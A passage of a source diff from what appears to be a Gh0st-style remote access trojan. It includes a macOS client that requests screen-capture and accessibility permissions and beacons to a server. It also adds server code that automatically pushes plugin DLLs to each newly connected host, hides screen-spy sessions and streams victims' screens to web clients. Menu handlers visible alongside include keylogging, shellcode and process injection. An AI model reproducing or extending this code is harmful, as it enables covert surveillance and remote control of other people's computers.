{
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
|
||||
@autoreleasepool {
|
||||
NSLog(@"=== macOS Ghost Client ===");
|
||||
|
||||
// Setup signal handlers
|
||||
setupSignals();
|
||||
|
||||
// Check permissions
|
||||
NSLog(@"Checking permissions...");
|
||||
|
||||
if (!Permissions::checkScreenCapture()) {
|
||||
NSLog(@"Screen capture permission not granted.");
|
||||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
|
||||
Permissions::openScreenCaptureSettings();
|
||||
}
|
||||
|
||||
if (!Permissions::checkAccessibility()) {
|
||||
NSLog(@"Accessibility permission not granted.");
|
||||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
|
||||
Permissions::requestAccessibility();
|
||||
}
|
||||
|
||||
// FDA check is unreliable (no official API), just log a warning
|
||||
if (!Permissions::checkFullDiskAccess()) {
|
||||
NSLog(@"Full Disk Access: not detected (may be false negative).");
|
||||
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
|
||||
// Don't auto-open settings since detection is unreliable
|
||||
}
|
||||
|
||||
// Create client
|
||||
auto ClientObject = std::make_unique<IOCPClient>(g_bExit, false);
|
||||
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
|
||||
|
||||
// Main event loop
|
||||
NSLog(@"Starting main loop...");
|
||||
LOGIN_INFOR logInfo;
|
||||
fillLoginInfo(logInfo);
|
||||
|
||||
while (g_running) {
|
||||
clock_t c = clock();
|
||||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
Sleep(5000);
|
||||
continue;
|
||||
}
|
||||
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||
|
||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||||
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
||||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||||
for (int i = 0; i < interval; ++i) {
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
Sleep(1000);
|
||||
}
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
|
||||
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
||||
std::string activity = getActiveApp();
|
||||
|
||||
Heartbeat hb;
|
||||
hb.Time = GetUnixMs();
|
||||
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒
|
||||
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
||||
ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
}
|
||||
}
|
||||
|
||||
NSLog(@"Shutting down...");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -70,6 +70,7 @@
|
||||
#include "NotifySettingsDlg.h"
|
||||
#include "FrpsForSubDlg.h"
|
||||
#include "PluginSettingsDlg.h"
|
||||
#include "TriggerSettingsDlg.h"
|
||||
#include "common/key.h"
|
||||
#include "UIBranding.h"
|
||||
|
||||
@@ -590,6 +591,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL);
|
||||
m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH);
|
||||
m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE);
|
||||
// New menu icons
|
||||
m_bmOnline[51].LoadBitmap(IDB_BITMAP_TRIGGER);
|
||||
m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
|
||||
m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
|
||||
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
@@ -826,6 +831,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
|
||||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||||
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
||||
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||
@@ -925,6 +931,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
||||
// Tools menu
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
|
||||
@@ -943,10 +950,11 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[53], &m_bmOnline[53]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_WEB_REMOTE_CONTROL, MF_BYCOMMAND, &m_bmOnline[52], &m_bmOnline[52]);
|
||||
// Help menu
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]);
|
||||
@@ -5483,6 +5491,10 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
auto v = LoginInfor->ParseReserved(RES_MAX);
|
||||
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
|
||||
delete LoginInfor;
|
||||
|
||||
// 执行主机上线触发器
|
||||
ExecuteOnlineTrigger(ContextObject);
|
||||
|
||||
return S_OK;
|
||||
} catch(...) {
|
||||
Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str());
|
||||
@@ -8493,6 +8505,55 @@ void CMy2015RemoteDlg::OnToolPluginSettings()
|
||||
dlg.DoModal();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnTriggerSettings()
|
||||
{
|
||||
if (m_DllList.empty()) {
|
||||
MessageBoxL(_TR("插件列表为空,无法创建触发器"), _TR("提示"), MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
CTriggerSettingsDlg dlg(m_DllList, this);
|
||||
dlg.DoModal();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
if (!ctx || m_DllList.empty()) return;
|
||||
|
||||
// 快速检查是否有上线触发器(使用缓存,无磁盘IO)
|
||||
if (!TriggerManager::Instance().HasOnlineTrigger()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 获取触发器插件列表(从缓存获取)
|
||||
auto pluginNames = TriggerManager::Instance().GetOnlinePlugins();
|
||||
if (pluginNames.empty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Mprintf("[Trigger] Host online trigger activated for %s\n", ctx->GetPeerName().c_str());
|
||||
|
||||
// 遍历触发器配置的插件列表
|
||||
for (const auto& pluginName : pluginNames) {
|
||||
// 查找对应的 DLL
|
||||
DllInfo* targetDll = nullptr;
|
||||
for (auto& dll : m_DllList) {
|
||||
if (dll && dll->Name == pluginName) {
|
||||
targetDll = dll;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetDll || !targetDll->Data) {
|
||||
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
// 发送 DLL 到客户端
|
||||
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
|
||||
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
|
||||
}
|
||||
}
|
||||
|
||||
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||
{
|
||||
CString clientIP(ip.c_str());
|
||||
|
||||
@@ -267,7 +267,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[51]; // 21 original + 4 context menu + 2 tray menu + 23 main menu
|
||||
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -453,6 +453,8 @@ public:
|
||||
afx_msg void OnShellcodeTestAesBin();
|
||||
afx_msg void OnToolReloadPlugins();
|
||||
afx_msg void OnToolPluginSettings();
|
||||
afx_msg void OnTriggerSettings();
|
||||
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
||||
afx_msg void OnShellcodeAesCArray();
|
||||
afx_msg void OnParamKblogger();
|
||||
afx_msg void OnOnlineInjNotepad();
|
||||
|
||||
@@ -338,6 +338,7 @@
|
||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||
<ClInclude Include="FrpsForSubDlg.h" />
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||
@@ -387,6 +388,7 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
@@ -539,6 +541,7 @@
|
||||
<Image Include="res\Bitmap\Notify.bmp" />
|
||||
<Image Include="res\Bitmap\PEEdit.bmp" />
|
||||
<Image Include="res\Bitmap\Plugin.bmp" />
|
||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
@@ -552,10 +555,12 @@
|
||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Trial.bmp" />
|
||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||
<Image Include="res\Bitmap\update.bmp" />
|
||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
|
||||
@@ -81,6 +81,7 @@
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="msvc_compat.c" />
|
||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
@@ -184,6 +185,7 @@
|
||||
<ClInclude Include="WebPage.h" />
|
||||
<ClInclude Include="SimpleWebSocket.h" />
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
@@ -266,6 +268,9 @@
|
||||
<Image Include="res\Bitmap\Trial.bmp" />
|
||||
<Image Include="res\Bitmap\RequestAuth.bmp" />
|
||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
|
||||
@@ -156,7 +156,13 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
|
||||
LPBYTE pClientID = m_ContextObject->InDeCompressedBuffer.GetBuffer(41);
|
||||
if (pClientID) {
|
||||
m_ClientID = *((uint64_t*)pClientID);
|
||||
Mprintf("[ScreenSpyDlg] Parsed clientID in constructor: %llu\n", m_ClientID);
|
||||
|
||||
// Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once)
|
||||
if (WebService().IsRunning()) {
|
||||
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
WebService().NotifyResolutionChange(m_ClientID, width, height);
|
||||
}
|
||||
}
|
||||
|
||||
// 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级)
|
||||
@@ -758,6 +764,12 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
||||
// 注册屏幕上下文到 WebService(用于 Web 端鼠标/键盘控制)
|
||||
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
|
||||
|
||||
// Hide window if this session was triggered by web client
|
||||
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
|
||||
m_bHide = true;
|
||||
ShowWindow(SW_HIDE);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -1254,6 +1266,10 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
||||
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
|
||||
if (bOldCursorIndex != m_bCursorIndex) {
|
||||
bChange = TRUE;
|
||||
// 通知 Web 客户端光标变化
|
||||
if (WebService().IsRunning()) {
|
||||
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
|
||||
}
|
||||
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
|
||||
HCURSOR cursor;
|
||||
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
|
||||
@@ -1295,6 +1311,24 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_H264: {
|
||||
// Decode locally if dialog is visible
|
||||
if (!m_bHide && NextScreenLength > 0) {
|
||||
if (Decode((LPBYTE)NextScreenData, NextScreenLength)) {
|
||||
bChange = TRUE;
|
||||
}
|
||||
}
|
||||
// Broadcast H264 keyframe to web clients
|
||||
if (NextScreenLength > 0 && WebService().IsRunning()) {
|
||||
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
|
||||
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
|
||||
uint8_t frameType = 1; // Keyframe
|
||||
uint32_t dataLen = (uint32_t)NextScreenLength;
|
||||
memcpy(packet.data(), &deviceIdLow, 4);
|
||||
packet[4] = frameType;
|
||||
memcpy(packet.data() + 5, &dataLen, 4);
|
||||
memcpy(packet.data() + 9, NextScreenData, NextScreenLength);
|
||||
WebService().BroadcastH264Frame(m_ClientID, packet.data(), packet.size());
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
@@ -1429,6 +1463,10 @@ VOID CScreenSpyDlg::DrawScrollFrame()
|
||||
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
|
||||
if (bOldCursorIndex != m_bCursorIndex) {
|
||||
bChange = TRUE;
|
||||
// 通知 Web 客户端光标变化
|
||||
if (WebService().IsRunning()) {
|
||||
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
|
||||
}
|
||||
}
|
||||
|
||||
// 读取滚动参数
|
||||
|
||||
497
server/2015Remote/TriggerSettingsDlg.cpp
Normal file
497
server/2015Remote/TriggerSettingsDlg.cpp
Normal file
@@ -0,0 +1,497 @@
|
||||
#include "stdafx.h"
|
||||
#include "TriggerSettingsDlg.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "jsoncpp/json.h"
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
#ifndef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// GBK (CP_ACP) -> UTF-8 编码转换
|
||||
static std::string GbkToUtf8(const std::string& gbkStr)
|
||||
{
|
||||
if (gbkStr.empty()) return "";
|
||||
|
||||
// GBK -> WideChar
|
||||
int wideLen = MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, NULL, 0);
|
||||
if (wideLen <= 0) return gbkStr;
|
||||
|
||||
std::wstring wideStr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, &wideStr[0], wideLen);
|
||||
|
||||
// WideChar -> UTF-8
|
||||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (utf8Len <= 0) return gbkStr;
|
||||
|
||||
std::string utf8Str(utf8Len, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, &utf8Str[0], utf8Len, NULL, NULL);
|
||||
|
||||
// 移除末尾的 null 字符
|
||||
if (!utf8Str.empty() && utf8Str.back() == '\0') {
|
||||
utf8Str.pop_back();
|
||||
}
|
||||
return utf8Str;
|
||||
}
|
||||
|
||||
// UTF-8 -> GBK (CP_ACP) 编码转换
|
||||
static std::string Utf8ToGbk(const std::string& utf8Str)
|
||||
{
|
||||
if (utf8Str.empty()) return "";
|
||||
|
||||
// UTF-8 -> WideChar
|
||||
int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, NULL, 0);
|
||||
if (wideLen <= 0) return utf8Str;
|
||||
|
||||
std::wstring wideStr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, &wideStr[0], wideLen);
|
||||
|
||||
// WideChar -> GBK
|
||||
int gbkLen = WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (gbkLen <= 0) return utf8Str;
|
||||
|
||||
std::string gbkStr(gbkLen, 0);
|
||||
WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, &gbkStr[0], gbkLen, NULL, NULL);
|
||||
|
||||
// 移除末尾的 null 字符
|
||||
if (!gbkStr.empty() && gbkStr.back() == '\0') {
|
||||
gbkStr.pop_back();
|
||||
}
|
||||
return gbkStr;
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_BTN_SAVE, &CTriggerSettingsDlg::OnBnClickedBtnSave)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
||||
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||
: CDialogLangEx(IDD_DIALOG_TRIGGER_SETTINGS, pParent)
|
||||
, m_DllList(dllList)
|
||||
{
|
||||
}
|
||||
|
||||
CTriggerSettingsDlg::~CTriggerSettingsDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogLangEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_COMBO_TRIGGER_TYPE, m_comboTriggerType);
|
||||
DDX_Control(pDX, IDC_LIST_TRIGGER_PLUGINS, m_listPlugins);
|
||||
DDX_Control(pDX, IDC_LIST_TRIGGERS, m_listTriggers);
|
||||
}
|
||||
|
||||
BOOL CTriggerSettingsDlg::OnInitDialog()
|
||||
{
|
||||
CDialogLangEx::OnInitDialog();
|
||||
|
||||
InitControls();
|
||||
|
||||
// 加载配置
|
||||
m_Configs = LoadTriggerConfigs();
|
||||
|
||||
// 加载插件列表
|
||||
LoadPluginsToList();
|
||||
|
||||
// 加载已配置的触发器
|
||||
LoadTriggersToList();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::InitControls()
|
||||
{
|
||||
// 初始化触发类型下拉框
|
||||
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
||||
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
||||
|
||||
// 初始化插件列表
|
||||
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_CHECKBOXES);
|
||||
m_listPlugins.InsertColumn(0, _TR("插件名称"), LVCFMT_LEFT, 160);
|
||||
|
||||
// 初始化已配置触发器列表
|
||||
m_listTriggers.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
|
||||
m_listTriggers.InsertColumn(0, _TR("触发器"), LVCFMT_LEFT, 160);
|
||||
|
||||
// 设置静态文本
|
||||
SetWindowText(_TR("触发器设置"));
|
||||
GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
|
||||
GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::LoadPluginsToList()
|
||||
{
|
||||
m_listPlugins.DeleteAllItems();
|
||||
|
||||
int index = 0;
|
||||
for (const auto& dll : m_DllList) {
|
||||
if (!dll || !dll->Data) continue;
|
||||
|
||||
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
|
||||
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
|
||||
index++;
|
||||
}
|
||||
|
||||
// 如果有已配置的主机上线触发器,勾选对应的插件
|
||||
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
|
||||
if (onlineTrigger) {
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (!dll) continue;
|
||||
for (const auto& pluginName : onlineTrigger->PluginNames) {
|
||||
if (pluginName == dll->Name) {
|
||||
m_listPlugins.SetCheck(i, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::LoadTriggersToList()
|
||||
{
|
||||
m_listTriggers.DeleteAllItems();
|
||||
|
||||
const char* typeNames[] = { "主机上线" };
|
||||
|
||||
int index = 0;
|
||||
for (const auto& cfg : m_Configs) {
|
||||
if (!cfg.PluginNames.empty()) {
|
||||
// 显示触发器类型和插件数量
|
||||
CString text;
|
||||
text.Format(_T("%s (%d)"), _TR(typeNames[cfg.Type]), (int)cfg.PluginNames.size());
|
||||
m_listTriggers.InsertItem(index, text);
|
||||
m_listTriggers.SetItemData(index, cfg.Type);
|
||||
index++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd()
|
||||
{
|
||||
// 获取选中的触发类型
|
||||
int triggerType = m_comboTriggerType.GetCurSel();
|
||||
if (triggerType < 0) return;
|
||||
|
||||
// 获取勾选的插件(直接从 DllInfo 获取名称,避免编码转换问题)
|
||||
std::vector<std::string> selectedPlugins;
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
if (m_listPlugins.GetCheck(i)) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (dll) {
|
||||
selectedPlugins.push_back(dll->Name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (selectedPlugins.empty()) {
|
||||
MessageBoxL(_TR("请先选择至少一个插件"), _TR("提示"), MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// 查找或创建该类型的触发器
|
||||
TriggerConfig* cfg = nullptr;
|
||||
for (auto& c : m_Configs) {
|
||||
if (c.Type == (TriggerType)triggerType) {
|
||||
cfg = &c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!cfg) {
|
||||
TriggerConfig newCfg;
|
||||
newCfg.Type = (TriggerType)triggerType;
|
||||
m_Configs.push_back(newCfg);
|
||||
cfg = &m_Configs.back();
|
||||
}
|
||||
|
||||
cfg->PluginNames = selectedPlugins;
|
||||
|
||||
// 刷新显示
|
||||
LoadTriggersToList();
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove()
|
||||
{
|
||||
POSITION pos = m_listTriggers.GetFirstSelectedItemPosition();
|
||||
if (!pos) return;
|
||||
|
||||
int nItem = m_listTriggers.GetNextSelectedItem(pos);
|
||||
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||
|
||||
// 从配置中移除
|
||||
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
|
||||
if (it->Type == type) {
|
||||
m_Configs.erase(it);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 取消插件列表的勾选
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
m_listPlugins.SetCheck(i, FALSE);
|
||||
}
|
||||
|
||||
// 刷新显示
|
||||
LoadTriggersToList();
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
|
||||
*pResult = 0;
|
||||
